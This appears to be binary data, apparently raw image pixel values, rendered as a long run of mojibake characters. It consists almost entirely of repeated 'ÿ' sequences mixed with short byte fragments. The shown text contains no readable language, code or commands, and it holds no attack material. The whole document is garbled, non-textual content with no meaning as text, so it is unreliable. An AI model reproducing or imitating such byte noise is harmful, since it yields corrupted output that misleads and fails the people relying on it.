ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿLÿ„ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ°*ÿì¸^ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ…ÿLÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿHÿ€ÿ¥ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÓ~>ÿí»`ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¡ÿˆÿ\ ÿS ÿEÿ*ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ=ÿu ÿ¤ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ°*ÿì¸^ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÿr ÿV ÿS ÿS ÿS ÿS ÿS ÿR ÿ@ÿ$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ=ÿu ÿ£ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÓ~>ÿí»`ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿšÿ}ÿ^ ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿR ÿ@ÿ$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ=ÿu ÿ£ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ°*ÿì¸^ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¡ÿˆÿi ÿT ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿR ÿ@ÿ$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ7ÿu ÿ¢ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÓ~>ÿí»`ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÿr ÿV ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿR ÿ@ÿ!ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ2ÿi ÿŸÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ°*ÿì¸^ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿšÿ}ÿ^ ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿQ ÿ:ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ2ÿi ÿžÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÓ~>ÿí»`ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¡ÿˆÿi ÿT ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿP ÿ:ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ3ÿk ÿžÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ°*ÿì¸^ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÿr ÿV ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿP ÿ:ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ'ÿ^ ÿ™ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿÓ~>ÿ¦ÿ¦ÿšÿ}ÿ^ ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿS ÿNÿ5ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ4 ÿv ÿÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ±,ÿ”ÿv ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿc ÿa ÿ_ ÿ] ÿ\ ÿZ ÿX ÿV ÿT ÿR ÿP ÿN ÿB ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÊMjÿÈAUÿµ'%ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¥ÿ† ÿQ$ÿ+**ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿƒ2EÿÓPoÿÓPoÿÓPoÿÎJdÿ¾3;ÿª ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿœÿnÿ;)'ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ'ÿÑOnÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÒNlÿÄ;Jÿ²"ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿŽ ÿ\!ÿ0+*ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿš:QÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÊDZÿ¸+,ÿ¨ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¢ÿ~ÿG&"ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ!!!ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ@"ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÑLhÿÁ7Cÿ­ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ•ÿdÿ6*)ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¯C\ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÒOnÿÇ@Qÿµ'%ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¦ÿ¥ÿ† ÿT#ÿ-++ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ%%%ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿY"/ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÍG`ÿ»/4ÿª 